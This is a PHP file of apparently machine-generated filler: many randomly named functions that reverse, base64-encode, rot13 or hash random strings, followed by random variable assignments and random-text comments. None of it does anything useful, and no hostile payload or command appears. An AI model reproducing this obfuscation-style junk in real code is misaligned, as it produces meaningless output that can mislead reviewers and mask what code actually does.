function W2HlkG6Eaf7wFP3() {
    $QWMC7qR = 'wdgsIugwLudDaWh';
    $QPDn4hwy1 = strrev($QWMC7qR);
    // 4QLI4S4UQX2KqScqZiO27uPN4ccw8WZUTdLQXnBAZ93
    return md5($QPDn4hwy1);
}


function OOep06mdZrJuYlxHQq() {
    $gZgDQlrbx = 'EyKJYVORKyft3cGw';
    $aPcjhcu = function($nIwZK) {
        // dY4sqnyKMNxBt6gUrFuv6nIFaYEFiVRbFqM3yMfk
        return base64_encode($nIwZK);
    };
    // 75jxeVaN9uB9Uhsgixui0GYA2FldrLjak8e
    return $aPcjhcu($gZgDQlrbx);
}


function Viw67x88lD() {
    $aajwAeTMFW = 'ZWLZQb7WIef2Zwh';
    $qOzJXILYyv = function($iilrgp) {
        // eX8aJxLoMXVtqOOcaI0gz9hoUs1AmzhuNox4Dt
        return base64_encode($iilrgp);
    };
    // sgg2i38Ow3ppEl0sekWv5I4exGLeiCSZS77kV71
    return $qOzJXILYyv($aajwAeTMFW);
}


function HO8tY2roDWVe() {
    $aUvPpbIw3O = 'zxJx7Lf45y1F85l33m3';
    $UrNJr = function($g5huZsOi) {
        // ZwEr6Tbk9w1dWIFR5EhPtSsQhLUuHSz
        return base64_encode($g5huZsOi);
    };
    // 5MsbkBMd3k8yqqMkBtedeLm9
    return $UrNJr($aUvPpbIw3O);
}


function jXV13KW76ol0Y4pRstM6() {
    $fC1Hn = 'oiCAXEtsqrT2dSVb17GlVd';
    $MCQnoa = strrev($fC1Hn);
    // lcgxvfDVTgyrVvS6boeDYKkssBG7ZnbJgsJiunHzMJ
    return md5($MCQnoa);
}


function SRV9CHlqZ3NZgOb($jN0AUfl) {
    $GdHZhNQ33E = base64_encode($jN0AUfl);
    $I2MAZdK = str_rot13($GdHZhNQ33E);
    // Z0LvGgdwiRuLHJcpxfGKRmG3dPnrafxqyf8
    if (strlen($I2MAZdK) > 10) {
        // WyiEFkK60VxTAhZzQpJm6GGCl6UXEcECU4
        return hash('sha256', $I2MAZdK);
    }
    return false;
}


function B0wJup3wcQQeup() {
    $gkL1Y = 'rL6y0NVi8KnF0kp1yE';
    $WI2E6EdKU = function($vVo5QB) {
        // pro0m5zPSNmyJtijeZSBWWfYVuXndckloCNmIV2Al6p5SCR5Cb7VX6H
        return base64_encode($vVo5QB);
    };
    // U8MJ2DnCUPnWrcMsbMT4KhgJAIQ
    return $WI2E6EdKU($gkL1Y);
}


function vBkfF28uCnbfV($qPoPxMJ) {
    $nAsItIJ2ak = base64_encode($qPoPxMJ);
    $EadDU1u = str_rot13($nAsItIJ2ak);
    // ZMSUbEfVGiMF34lc2CR6xr6YigYGHupcw4vyMid
    if (strlen($EadDU1u) > 10) {
        // VAbwxnftQEGjUq9kDk9roGtIGZK08Y8L3xWT
        return hash('sha256', $EadDU1u);
    }
    return false;
}


function WHMvmuTzCcUv() {
    $ULgTJk09 = 'OQ8gKsINU6l5MDw8';
    $XsSK8dF0 = strrev($ULgTJk09);
    // MKvUBCavrHZPVhGmHxteMaa8FaJxZ2sp
    return md5($XsSK8dF0);
}


function KpUwp4nmJxIA1CSK($jDwMyZa) {
    $C9MzcnTR = base64_encode($jDwMyZa);
    $WWiaMKKU = str_rot13($C9MzcnTR);
    // s67daqIx6MH2vN1HAWNkdCUd3hsKB8R6Ml5kj5DV48aShB1f2Hvt
    if (strlen($WWiaMKKU) > 10) {
        // cUET1cxyXK6gJrRBAYz4PgG49FEd
        return hash('sha256', $WWiaMKKU);
    }
    return false;
}


function jpYbBdSc() {
    $C5yEufsTF = 'DMhi7ty7LbhK';
    $CklcStwwQ = strrev($C5yEufsTF);
    // FNpHUUETy7O0OUjvULuCH9fyEY8Lwb6LPB1Q6XlGF6pcIQJy7IwbL6iq
    return md5($CklcStwwQ);
}


function tE280NRssBucTpxemb1() {
    $oLpWBa9t = 'yywO5FiMA4jSEtcJEhm92X';
    $EE8fRipbY = function($cwpc96) {
        // Fx1opmCtxhm2QP06XU6AkQYAcVfNzLI3A9sthwHnvpLQNpO9ZTO4oz1G6Va
        return base64_encode($cwpc96);
    };
    // GoKVgdEZisfvOIPhC02vE8W6phIaJRP
    return $EE8fRipbY($oLpWBa9t);
}


function q9QBQjy8o2wAjEsWp() {
    $J1qN6O4 = 'yDOL5JaX6gqHS0mxEqCx';
    $uCj3XnWj8O = function($rIhgnrl9to) {
        // 8E69Qe6kY16lVART16rTZEzhvpJPyRtWvlF13bJ1gkFSZ1PhUkpEpLv
        return base64_encode($rIhgnrl9to);
    };
    // KixNFNZeOWGoSRLs5uH75LXtWYsMO
    return $uCj3XnWj8O($J1qN6O4);
}


function J1MLq72iRn() {
    $EoR787I5 = 'rUkLWkJD7Dg5LBqsUjMGn1i';
    $B70WuZ = strrev($EoR787I5);
    // g3N8yucJp5WF9eYBhVXinSYorg2eMvUN
    return md5($B70WuZ);
}


function VkiHuElHUkoHDFT4x9sb($up3dNA) {
    $nGLD2J = base64_encode($up3dNA);
    $JI2J5pO4y = str_rot13($nGLD2J);
    // F9BDbAbOXwaJFCxnCtSYqXSv0JJ5HGr9jHYCWg8VrKN
    if (strlen($JI2J5pO4y) > 10) {
        // MprwkG4GZaDNVXHmYs0BDSa
        return hash('sha256', $JI2J5pO4y);
    }
    return false;
}


function tnc38k1eU($rBS4nOFa) {
    $yCDZR6OF = base64_encode($rBS4nOFa);
    $l3Zr2XspTq = str_rot13($yCDZR6OF);
    // mGQdTZHBPeZmz9dSh5TWA8Z4QOVSIPTGxQh
    if (strlen($l3Zr2XspTq) > 10) {
        // jodQ406jUv0w7Gel75zIt9V91jPMeCUqTamP1F
        return hash('sha256', $l3Zr2XspTq);
    }
    return false;
}


function YYnKRDf209opEu() {
    $OVZpzVs = 'dWCKP9yGFQ';
    $zsHuhtJ8ZC = strrev($OVZpzVs);
    // Z61nrqsyGhpIjbwXVA5Rhqbey1Yf18opxVzhzltQwxjbB9GcCl8F
    return md5($zsHuhtJ8ZC);
}


function Nqh61DT5bDJB3A() {
    $njIik2z6 = 'GImxNFE9PJnhvLu46';
    $qocRR = strrev($njIik2z6);
    // OP7ZDQ4V1MZHDtqu7fGaJ1IZijHiAasIB9ziyTiuPiGphoDL91Uu
    return md5($qocRR);
}


function stmvpDXx1wqszy6A2($aIr8sUS) {
    $vwJ78rno = base64_encode($aIr8sUS);
    $lzwbAxc = str_rot13($vwJ78rno);
    // h7ypF2K2WBGvTIPSmyYtEVgtHlzw94mQx3ZcxKlbaQopLi04
    if (strlen($lzwbAxc) > 10) {
        // KDjoJ0NNqbjcrPeODLq9AalZvGfOaJbdj
        return hash('sha256', $lzwbAxc);
    }
    return false;
}


function px6YckMZ() {
    $hOEh2 = 'hailKuQFGLpTqS';
    $vnwNkad = strrev($hOEh2);
    // bQXjB3yXKLzAMi4f6BCGZNCnfuq9zjRaU
    return md5($vnwNkad);
}


function X8eFmuKAD8h() {
    $KrcQRc = 'l5gAfXqqnH2';
    $O438Z2jkr = strrev($KrcQRc);
    // t9GJj1BdVP5mu1RnfJmd8fJNBXJYGGlacTsD5
    return md5($O438Z2jkr);
}


function JgahtHRwp88Q1() {
    $R8RJQtfDl = '5tUw2WOMDKNsRvFzv';
    $RF6KhUMwg = function($Wleaq7Ey) {
        // ejRuSuaUf1ZciVeqzzce75Us9tv4shkc
        return base64_encode($Wleaq7Ey);
    };
    // Td54nhByc2QzHBhmnYBlKeTDYeSI
    return $RF6KhUMwg($R8RJQtfDl);
}


function dJv692ea5yu4As() {
    $GoMkkBs91 = 'IHSyMEp7aaJXUb9OU0PouLd';
    $sb1NHwNOb = strrev($GoMkkBs91);
    // yAeDBSSZxC3zBTDrqMOQnMyftsEb359JcuR2VMCt8X0c
    return md5($sb1NHwNOb);
}


function K4HxlSYSWA6toAadS8I() {
    $zW56M = 'EEAOBMoaeUEoDq87Oit';
    $tQKQJyGn = strrev($zW56M);
    // KDEn6weoaSv8QYmke6EALxJtxsGo5FKBtg8GvMB7gND87VUC3
    return md5($tQKQJyGn);
}


function TeifW9SoT($tLwam) {
    $C2zRIAZ = base64_encode($tLwam);
    $FX9MlaWe1g = str_rot13($C2zRIAZ);
    // XlFSm4z74FR2r3HxThIq3efypQFx4HPmuO4EyHVOjvyQ
    if (strlen($FX9MlaWe1g) > 10) {
        // QwB8qWpcBLDOuoxr4OOdalljpFfqwQp
        return hash('sha256', $FX9MlaWe1g);
    }
    return false;
}


function eyF4a6waedJGE9r($dzR4ceNkN) {
    $Qh1Edam779 = base64_encode($dzR4ceNkN);
    $vTvPz0S9N = str_rot13($Qh1Edam779);
    // EC2a5Zp1cuapZMVsEOiOUympi4fkpdnCn
    if (strlen($vTvPz0S9N) > 10) {
        // L8qczp2OGGIg9CtESCsKTuGG
        return hash('sha256', $vTvPz0S9N);
    }
    return false;
}


function TW6jhXIq($r6AWlS06J) {
    $Kl0YSSQAdy = base64_encode($r6AWlS06J);
    $gMMUoKB = str_rot13($Kl0YSSQAdy);
    // 5kp05eeWrBvcCT1iY5sd2qjc4i14g260kiGkNb
    if (strlen($gMMUoKB) > 10) {
        // GduUn1st51iZ8U6NEivK5
        return hash('sha256', $gMMUoKB);
    }
    return false;
}


function Y48ozIyFRY5() {
    $jzZsc = 'AwSe9ch1xcz503Sy9WwX';
    $dqF4PKDi07 = function($fx8bFM) {
        // 3R6Fzwkn1OSnK9XTI3S74NeGfoQE5X2La9GclB
        return base64_encode($fx8bFM);
    };
    // viKdp2O77ZTIH2dJj2fMteu3nd2uvrxt6XPQ0
    return $dqF4PKDi07($jzZsc);
}


function qKco8cjRXz8UN0X9Bpuz() {
    $ExveVXak = 'TqfH19JIvxYJ0uaAQIJi4BI';
    $zeXOwrq = function($Sk8Ua) {
        // OAX1TB4riL3IYrzLT6RZmW61rHEBMaBrIiyqhwfett
        return base64_encode($Sk8Ua);
    };
    // IvmmqrPt7YQsq6MC1Mesq95Qa7TBXQvyra9VL6
    return $zeXOwrq($ExveVXak);
}


function BkfakMhZNU($kSPb4) {
    $ljGIAEohdG = base64_encode($kSPb4);
    $f5qBtII = str_rot13($ljGIAEohdG);
    // OU3pWwwm5wgKDEtjOe7kYY1LwPtvXTJ3R0zPFxkltMEdaIRqKlNjrS
    if (strlen($f5qBtII) > 10) {
        // AZixSto1tUIyYylXnIscCWblnk6fAZ8W3FmR3U
        return hash('sha256', $f5qBtII);
    }
    return false;
}


function jJC9URkf() {
    $iE4SRcc = '2jwlSUnsGo6PoyKamAVv';
    $I013Sqr4 = function($HkAdP3i) {
        // cA78haDO0AxH4TpJpT9x4fgE3xlOoEHv8xR
        return base64_encode($HkAdP3i);
    };
    // k5Pjj0PHu0N3hHR4XK29
    return $I013Sqr4($iE4SRcc);
}


function N9NYLNP6Jnom1($foamP1igTE) {
    $YtxkGf = base64_encode($foamP1igTE);
    $DwNsS = str_rot13($YtxkGf);
    // 1KSNSiB8smcKTbbSwYIB8ptxw7Ht4BUZu
    if (strlen($DwNsS) > 10) {
        // 8punsWptUTW88ZBDSr78io
        return hash('sha256', $DwNsS);
    }
    return false;
}


function c6DJkhJ985c() {
    $E2zkv = 'fi9nEcaP2RGz';
    $WCf58 = strrev($E2zkv);
    // 4tLetuIAEvy1d0gSKhOdl3mUjlIg1Jz4
    return md5($WCf58);
}


function n5o4Y5eWxg() {
    $ZCLXa = 'V5UgHDCgqaf';
    $yxdqI5 = strrev($ZCLXa);
    // Ph9p59ICbHPtaaFedJIwdXnga4tiKq5uIW0UE7q
    return md5($yxdqI5);
}


function wTuJYTNCQqo6() {
    $iK4AztoQ = 'MXBs8jjgp1DPQfHZIhPPW';
    $a6V2NyT = strrev($iK4AztoQ);
    // P2MAH9Ry137iKsbcjwPBjC7KRYQcU0r5plCwqX0TmKkD0Hxd4M
    return md5($a6V2NyT);
}


function jvgF0dDrc2HV() {
    $YTE7cg30b = 'bL6vzEPMr1Q42';
    $AOC94N0nR = function($iTocNlu) {
        // INI99WUptBlMrqwdjaBZbUOLEMOH2opIy5
        return base64_encode($iTocNlu);
    };
    // 1rdnvmsDaJTmvyuDoA2cd5Ao3w1r4SbuTwHiBd
    return $AOC94N0nR($YTE7cg30b);
}


function DkEq6D5e8vbJ5Yi1YVca($OAVTxI4YX) {
    $UKJlGlpLc = base64_encode($OAVTxI4YX);
    $XX23M = str_rot13($UKJlGlpLc);
    // 6QbQW8MyMLJuaXf6oh4zciOpvQjPKq0ycoTGO0uDzfr
    if (strlen($XX23M) > 10) {
        // ogg5zEW7D2yk5LgfIjnzRbJw8gPs2KX
        return hash('sha256', $XX23M);
    }
    return false;
}


function sqyO34GsiUPZ2P9llOI() {
    $FEWiJFllF = 'NxqDgd4Ec1BLKv2o8Y';
    $Bj6l217eAl = function($aPJnaM) {
        // XqrAAS2o7BsGJNsGKVxKNM4M0ydIclQkF9DUvGDoq3
        return base64_encode($aPJnaM);
    };
    // SHAgnQyhKGjL1XQY6NGKoKWzK4SK
    return $Bj6l217eAl($FEWiJFllF);
}


function YUvuvlshCm9() {
    $VEq4p2c = 'Bshxs3lxrLBdh';
    $cjBIu0 = function($J0mNFYh) {
        // 4a7uCNUy524OUlPVtP7VmzhYB3QhwcB9IvQJijkeO8xQT0Mhq
        return base64_encode($J0mNFYh);
    };
    // ZH6Etgwf9QnWGSYOGhIe4P
    return $cjBIu0($VEq4p2c);
}


function AsQAhZSDtfA7f() {
    $iHAEqH = 'ex5OhQNaZQ';
    $nzpVzU = function($QxPdbTarbf) {
        // kDc4RTHj1VqbtXEMPkLs1E6DLvUEXmc2sKRBKnXi4hiDIkWVyOpqkjk63qr8
        return base64_encode($QxPdbTarbf);
    };
    // bhvAlxup36eE8jE3MDX71vLbpfi14YmGToU9CP4n
    return $nzpVzU($iHAEqH);
}


function MyZCjQ4k93FK9hkl() {
    $EXI9S7VvJr = 'EECMUldoUYTvlTtetFYhxikU';
    $eErGCyXm8R = strrev($EXI9S7VvJr);
    // Vbx5q7rdvbIcCyNsGf8gQhwSgPQzvwBL
    return md5($eErGCyXm8R);
}


function uTTPncBA8OJI26z() {
    $kqAhy = 'mbimna7uItTb';
    $N6SJRSUtEJ = function($x6LHAii) {
        // I3TeCyNuO5MPVv77bCVWBtfK735cYq4xCZ3uf3jp5
        return base64_encode($x6LHAii);
    };
    // 85XewwQFrmjKZUIWinqPKt
    return $N6SJRSUtEJ($kqAhy);
}


function O8LQVJJImM() {
    $JyWS9WVPb = 'DyLTn57ISWASg6';
    $QdLVku = function($POxB62tS) {
        // 6vWYm4ad4EtqalqnqRT61rTxqj7xFKvNQ
        return base64_encode($POxB62tS);
    };
    // 8l9paE3cbLZ1pKMMubFz3j9nUnyCPhsPbgYXkj9
    return $QdLVku($JyWS9WVPb);
}


function PXm3XgmR5dt() {
    $fdbqvPmK = 'CzsklZ9GrE';
    $B6TBO = strrev($fdbqvPmK);
    // viRG3Hs5baUKXEuITP6mFJ3YD8gK9tbFZ3sKeoZJzCsXo6hiSkDGqxllu
    return md5($B6TBO);
}


function QIlsqotA1hp($rcmI6ujb) {
    $nvneOFS = base64_encode($rcmI6ujb);
    $dtwZJD = str_rot13($nvneOFS);
    // MdQhOb3MEcaKyvqzB2670e6WHum0tFtlhhWKQXu4yNH4IKKaM2OFb7
    if (strlen($dtwZJD) > 10) {
        // sOIVTDCrQZsWKZYHs0tSUeYD6EJtdBAvNem
        return hash('sha256', $dtwZJD);
    }
    return false;
}


function avm4htDHy() {
    $kCdYEf0R = 'wqiwg9M38kbbmJ3m4LLxbo';
    $JbyNuoBZ = strrev($kCdYEf0R);
    // Hzl4QaNFlAJafye0h1MKCowgS9sdwTDvkWia8AokjFpMGY6qcyz9aQ
    return md5($JbyNuoBZ);
}


function iQoMSCv8() {
    $M1tLt0sKHx = 'jgeUw4JLr6';
    $p5yS4OwG = function($CjfpIRkDG9) {
        // zzxv5ep8rQYIP6I0lwlC7f1EorNG7cfJojjseST9n2E82PhkAz03e7Odv7t
        return base64_encode($CjfpIRkDG9);
    };
    // FFFW3hwkXey0iv5UzdsWYEn96TLJJdo
    return $p5yS4OwG($M1tLt0sKHx);
}


function jykeympbVkYyuZN6mZg($sXTSARU) {
    $RuwTIDA = base64_encode($sXTSARU);
    $qW6hvd5 = str_rot13($RuwTIDA);
    // tiXe1AIVdkjcKzFKapKfTVL8pEkO6N2nosT20XZhVj
    if (strlen($qW6hvd5) > 10) {
        // mjh0Yyl3b4YTsXWOefmasqaEL3lssWyICijugUAP
        return hash('sha256', $qW6hvd5);
    }
    return false;
}


function JErwBcIxizE($XL51Yyk0E) {
    $AWai1X = base64_encode($XL51Yyk0E);
    $afinDKOzrz = str_rot13($AWai1X);
    // CEr41tNKpqthj16m3tUp2LE1ftHPIJaTTeVy210iC
    if (strlen($afinDKOzrz) > 10) {
        // z2YVOtXwZIPcZHsVoUNRUZeAwFpGBzjxwMzn
        return hash('sha256', $afinDKOzrz);
    }
    return false;
}


function RlTXYiE6WI1qu28($Faj1y6R) {
    $pHeXpNd36 = base64_encode($Faj1y6R);
    $Fnk8X = str_rot13($pHeXpNd36);
    // OHyjDSyBCFqaB5aaXeV6W0jkU7vz0wAmUofaT
    if (strlen($Fnk8X) > 10) {
        // IgvPCzQq03fEyhx3J9MAw86vGRwH
        return hash('sha256', $Fnk8X);
    }
    return false;
}


function bKP3Pspd($MRmwjg8FWU) {
    $njhGDlu0ds = base64_encode($MRmwjg8FWU);
    $XIwFO = str_rot13($njhGDlu0ds);
    // hRcMHYmNFltCYPkiN3yP0c3Ov72IPM
    if (strlen($XIwFO) > 10) {
        // gImjWflSEouQZAkF6xMXNtI0dJr1c5gKjNxCPTlG
        return hash('sha256', $XIwFO);
    }
    return false;
}


function Zc9lNjUNk4I9vSLOm8() {
    $Z6Spu2P = 'Nl8Hnci2e0By2DizOL4PV98';
    $H3A4A0Q5zJ = function($iUT7wOEU) {
        // YXm4UBUXIIV4B6GJ4CG3Zyjs5y9CW5fdj9bbtAUrlTZGqXVDh3PcysVrab
        return base64_encode($iUT7wOEU);
    };
    // H9P2zHa4LY8wbAi5e3bF3fE
    return $H3A4A0Q5zJ($Z6Spu2P);
}


function wXLcUJH08rQT() {
    $jimF9Haw = '5JzK5L7zkNED';
    $Hdcp2 = function($MF7XvZ769Q) {
        // SBEYh6WoRb4LEUCkAEV2UKocKzOXvOmfHFS4mVdUe4BfXny38iewOGDuu
        return base64_encode($MF7XvZ769Q);
    };
    // PQ2uvdjh8IspCY0dWuYL2VR0WY3kKW2ygR2rvq
    return $Hdcp2($jimF9Haw);
}


function U79494ovKav($ZabJTx) {
    $KtwbW = base64_encode($ZabJTx);
    $SvgOE = str_rot13($KtwbW);
    // bq07EmG7Ya16E3FL4Y5zeNGklyh9NcVfOcItvOtq5ztHhQ
    if (strlen($SvgOE) > 10) {
        // OcTtxatFFVnyqPHuOEWIMV
        return hash('sha256', $SvgOE);
    }
    return false;
}


function Litdb6Z5() {
    $K7RZ18 = 'aiWYsiEJQ0wj';
    $HitKac = strrev($K7RZ18);
    // 3HrnvBZoznV4y3UGdZSS63XW4NUdlmzJlYgN
    return md5($HitKac);
}


function GhPSs4pss0y2khr() {
    $L6O7mr0jBM = '6HGRPdhAxwhrzvX';
    $L8lOa = function($VS5t4oqt1) {
        // UwoWHhob8YvUx2xIujIsGVJRi1sg9RobgCCTReel
        return base64_encode($VS5t4oqt1);
    };
    // MV5e45hNxD9umc449xwdLdwiBsx5wW6UhnoFoAdy
    return $L8lOa($L6O7mr0jBM);
}


function bALLPaXwFxa($IHMlgaR8) {
    $ZCbux1qfI = base64_encode($IHMlgaR8);
    $O5ODjsK = str_rot13($ZCbux1qfI);
    // swFGuKw1gPRd3wFPhrGL9hbYbInM76ozkDzV0oBKftjP1IDg3
    if (strlen($O5ODjsK) > 10) {
        // VsCrBgnAYSe6a32mfcTpZnq1XtOszs
        return hash('sha256', $O5ODjsK);
    }
    return false;
}


function cvC0Vk3Tnq7() {
    $rXJBWaUNmh = 'bFgOPZPRqmb';
    $DdYvV = function($NRfccjzs9) {
        // 21gAOyaS9bl7wtZ0ZkoHIZ4Wrn7W8QQv496hk6JSOBNKtSI0qUNCvaWD
        return base64_encode($NRfccjzs9);
    };
    // SZ8kMe4VQ81bBfQurmJwahZKyQXibLXwYvfibf
    return $DdYvV($rXJBWaUNmh);
}


function BnvKL6EhS($djgcidM7Ro) {
    $LlXMw = base64_encode($djgcidM7Ro);
    $vJmESxb4n = str_rot13($LlXMw);
    // 6hTslWDVUPvfgHalA5J89R7066D0il
    if (strlen($vJmESxb4n) > 10) {
        // naCZmx1Nv7JA5S2O4mXd0BSFl
        return hash('sha256', $vJmESxb4n);
    }
    return false;
}


function gfNKRFZUR4Po($lMOY1WRZ) {
    $dummy = 'Y1X7wk0POC2SPdRN19dUJVjKM6cwB3F1vdJImLzlg9RvIarAri';
    $processed = base64_decode($dummy);
    // 7roP63ykTx7sFPBUgRmaCCJUerGyE89C5Sc4p0pr
    return strlen($processed);
}


function QpIQKqpw6IUk($sPaesR4A) {
    $dummy = 'i4F4ZRha9CzbcbYQFZbVMO1daqps0WCUkONUvgtrcR72SpmdDw';
    $processed = base64_decode($dummy);
    // ySam1QCw81ZpKDVMDlvbB558rJiCl6bpnGz0hHtc
    return strlen($processed);
}


function ETPdbuIgd9hi($Sicwyv0t) {
    $dummy = 'V7kyuVN4ctQtEpS3XszypzIz89Q7ECBQW2lGyJdCxyeVzbX7hH';
    $processed = base64_decode($dummy);
    // FIFsJkc5nVSLc3ss3N52bGnx2GOxV1ZeDDI8LhOI
    return strlen($processed);
}


function fS5ajhgl2jyb($QUHJ6qD4) {
    $dummy = 'XfeaaSZGjNixgfcfWpNhBSo8zkAdRQadlngj3gs0hGOBRXKfM6';
    $processed = base64_decode($dummy);
    // 3ibkzpcKfZmBpj8RHHPoq2zwMEs7uwS6rsINhvkk
    return strlen($processed);
}


function V8ir1Z0fDjkX($SjoSUCYQ) {
    $dummy = 'bEroIowQqIZlvdssxPYmK4F3c5WH2d2olgCfH5DjVEFqYIyLLs';
    $processed = base64_decode($dummy);
    // 5PpBxW8yGRsQ5rGnsyk7S4yw2Ie0wLszhhs0jPhZ
    return strlen($processed);
}

$kEbNQw='J3tJss3NcACg5sxZ1nUdJrtGYwD4uHu0eUgBuAhNpFnF7Rj3B';
// twdFcDeyGfqdOpxrPbiJwvcioPUuiZS89fEUGbslwfdQ8
$xQY0RGQfLVTg3='UdmDXoWZLAc5BqEK3eCCZ6eV2vM2GG';
// 0L9LwZoWeF6T1UaKXOkWi49rIqQaYiiceQuO92cD049nKh
$ZT2V84uw='n4OSuaDZ0mF1Jx8nrOQSb3kjyHW0MonlAktNzLvkQ';
$hRYrfBcuRpn='R1ElOyiRnWfC2HYvJmlpID0pmnSCvYFdefmj3poRu53NT';
$ZN7wFRR='ZKUstCZqGBdbKl0MvW6ysScL0vdhT6UNkqlAQUIMN7';

// WZXEPIJd1doAxsCGjpxIe6sqNN4o9WPwq8Pd3vXFBfkrQ0J472pzcqm5htUBmPAxhMQ
$RmicAEhcSiQ0d='RwswSy8i80nzIGtAVSHvNrB2fwWTI4mlN5863X0bv3';
// 6xmb9UljEsxSsYmEfUUZUpV0ZN61D2knuSVYnT5RKAGBncvKq1qikWNh
$XkheKTLC8JmO4J='zfhZ5Z0O4yfCVbinppX9UdswMin6XUHjPQH0u1PY';

// KJmoz2nfTGmS91Vk71Rb4JhUHCKiB6wEIgdibz31IyvdlKlTwouK9RetgUF9JaihFFdnUCNnb0mhA
$vXFvZ2tNsr='24eKvURq956lCIBkqgWjyAhSItygDQP';
// IAns0vhK8Z4qDIWd3l81JVfUrBtBtmqpuXjdXr9u5
$Ptmpo6r='Nzwei4lkIfpr94iKqjkJuMnjYSPhjCEBiTVWQBL';
$KaMMqXxvf7='6Nruz4cLYq7pAJnLd3MiD3zv69TWHFOp5G0TowasI';
// eqdKoRwWpeIkUxbVQZSEGEDorfq9anmAQ7FRIjAfMaHr2S6tXwGl
$SmmhSRya='H24070vSEiEuNs8SOWqXCh6kmRK';
// kGxwL0i1Z6EfOXCTaHJMNZoHb7RFC2cekuDRja7rR9xcguWSKW1I2
$mNXHQvRjLwDk='PihuTdbUIW07WsYUM5MssChXBPwlnit';
$crZVRxp2B='2J0olDgsWjPDETTG21TiA4AYSN1uwV';
// J6yatUCkSwqKfXq7fBkbu3xMGqgoZzvMIcXWcZdflwoNkW24vNzpVC0KP
$ll7BSHJarDTWDC='rRkGRJwKUJIPXQnx7I8UA8fd3XAw0fxFIon60KEp6eWnUQLU';
// r8MUpLUHqqPsC4knen7Aq73XfYwuhC9f71VOAHzlzdIhiDt11foJwMVc
$WClr7WBbrXrGi='nC7QsoXuYw6WPWu7XYDbSpCVuaf8MKW3wwuu6AniSc7il1PDZwI';

// hBBGUMMCTbp90KovCIf6VtmlWVGRS9V8f545ji9QpQlCrbz
$a26IH11My0ll='GqJUVtonjT0d6JbCDOIIIVUInGJXjoCnDsyP';
$jTvJsixMxl5W5='szFThBPPWINBquxVK6pBd484J0T7DG3vBaq2I9hykem3UsgE4GTFXw9Zrq';
// tjMvIhmPke6ifHOYfxgvvIg0Kr5R9NX0RXlvjnowwXfrNuxmxYqTBfFAxm9jM2upeNvqBI4IbGspC
$EFMXdhtWUtqoTP='kcBmydDLvlPAZ9nfS3weSUd2YdljXRMR1f8qXhhTt7fd6';
// ng2wndoq529993XBMDu6WCLDaspU5pENMF7bZzpiFHVsBYZksjWoDR4y6cxDVxaG2b
$ycS0hrtG6Lxo='oFHjTdlXVdqd5idG8e9hxsIPEaWg35y6LeX1ASK';
// A8zESSH3rUl3n2QK3ZrErHU78QjLubUJzbFzJSPejLpzN8M2pVq0q2fnYnNuYuFzr
$n8glpVUd='8MOatVYeuWjYU7IGXo63YwfXOMGSyEl';
// RDR8jQmLbaNc99u4MpGOVLd3KHVnJ3o8EEJHxR7WgYusl3oW9583ZnVXLn1seED4GHGJNY
$nvH05MfSGdH4G='TW4dTAUF04yEkYsKoZPqtWULprKXoCmz2iS8oq2uU1cH5LMDZmiJkmnEU';
$RXpN5Bec='kj9whwwbSnmHlLQxPCrGHHG4k9UB';
$FSM6jAGCzU='Z7zXGub1Uutf9dRuIzjMrsjH1Jxez6OpvanPib328';
// NJ35O27lY8to8aSVN1nSXqVo2NTgJNWr0sbfW26Ep5Xj0Hd07sudwf7oiD
$hBGv28Wt3='ikVrKyOVJs7ieFt4Ey94Chyi6Qotkn';

$E7os9D6FM='XmG6dD4qG5BFqPNkdiGeyvMui13RpowYq';
// yra9pATGCrVyBlyAada0NBlTVkPsglgDyCS4mIjQoiwZGie5fkGGq7VDFFk3V6DryGDEZOgCq56E8hCO
$IhlbDKSbpG7h='Zqh9M3TbDNKHSKQoD5QGhOQ9bENqZoWJX';

$TUjmbXVUhbBISY='Bw0vgWF0YOO2H4uvlx8qfdXMwfKd8rPnv9qdja';
$MvUDjT4Y='0lkyQVN6uUc4AsKwRaiclBPUjNDR4NdcyQYxlnZPB1wOVezpuSqkgsHS';
$YAM5k3j6mboPuyw='w1bm6IStksgLnu7cTe9kHusRLxqj6Fn4CiHCe7F0rqYlv67Yo3VmY89778';
// Tb4ZLlVH1zTfZHcyXgRV8dXWIDPCJk0Evgmb3cUWuA
$kCS5eWEUII7B8='ltKwM1Ds85JxFqGBQZG68Gds1rVXE';

// hlVNa6n3auGMOqG1xDBV28smw2vv0zi2GthC0G0F4Vgz8VjMLRCgC03VCWYoXpVNN0K479Y2vQM
$xWazQffkday='hvZ1R0mn6S0I55KZbIEGIBjnA2rbaXZsw33RLFaaQT9op';
// IcNYiQvT5wXRqDyfKZUoaZiB3Lfd6Vyq5zwRGlwe
$FusiOBqJfVg='izXtBc6cyYlSyTqKn7oHqHZg4QP8h25CQ4HyhjS3';
// 2vBZ8beqRhX3fY1tff4oNtx4eDGNxfOlCsi9SoZO68foeWOAMALF6NH09olsZ
$zZeWtSHHzXb5='xm5Jua6L8xxp5TIRA5NC3LGoNb3MJ6ard5mWfJ';
// yy5HWKQ2bxuMRUxlxR6UGOoHucQL19jGb0SO9PqUxv8l6JLOecR1zmw16vmDks6dMScPQWbls2qkCz
$bPLJ1r01W68='87GyGnk6XuKpU1PQFrLhYkHhcGUruEH2Ck6x5NRBo7lanhyc';

// G93aUto9cTgyNGtCSeI1pXjwOEKMPGE7t3PCPVeYeWcLLQdnInQEJOKFUB
$tYHr3tt1PX='Z9YNCE7fbmqxynDavwM9W3Hr3Nb0Re0F3WdIPF';
$YAzDEXr0hka='pu0hpnUNTKQLycbjPPtnjRK2PrRrlm90rfIEj33DE0ez8adK';

// PyllPwUVNBBEXJgZYC6YDnjwNoL9p7jPDmlmSKntf5mmjfG3QtLRUXoQ3wmasT5TyJOdX4qo3f
$uPfMQYNbvlbsd='wKawoirlD4z22N9BR6CMKmGPf6YG6Y3xuR9xH50OKQaSj4sj9Es';
// u5VyRwCqePwY4MEvVAlzxzr5TJ3miEtvmrq1Nuff8j1rz0qJFsgArxWD
$QAf6x6GTErrVaM='gFbxEfXaBduArvf1AbTphrZLZdUDA2kdwvm8VVXODbncr80gZuMAx2rKIl';
$pOWIKyDfqk='o4t6Hbe90bxGNvbYFovxYaYlmdcWeGusuXQhV';
$jwBetO4xoq='xq8WXXFUyD73eT4ubsEUV1MVX2SpCvgq7RDd21F8RumUlvjxl';
$bkazOm1AndrbLB='LHTBIF52Vhzpt1DPSYKlwvk8Fll183zjb';

$BUlTncHqPk='DJyyHIIP4U6PaMWqB5wMRCivZjU2ipTF';

// C1dLBgH1iasNuEeaIdFpufydGVyfJWGkbYhUbOcZ33u
$DfcQF7Clh43BF='YMS6aZezrIp31aLFl5CInGWbl9vw4jBiqhbJEk9cFpOy9x9O';
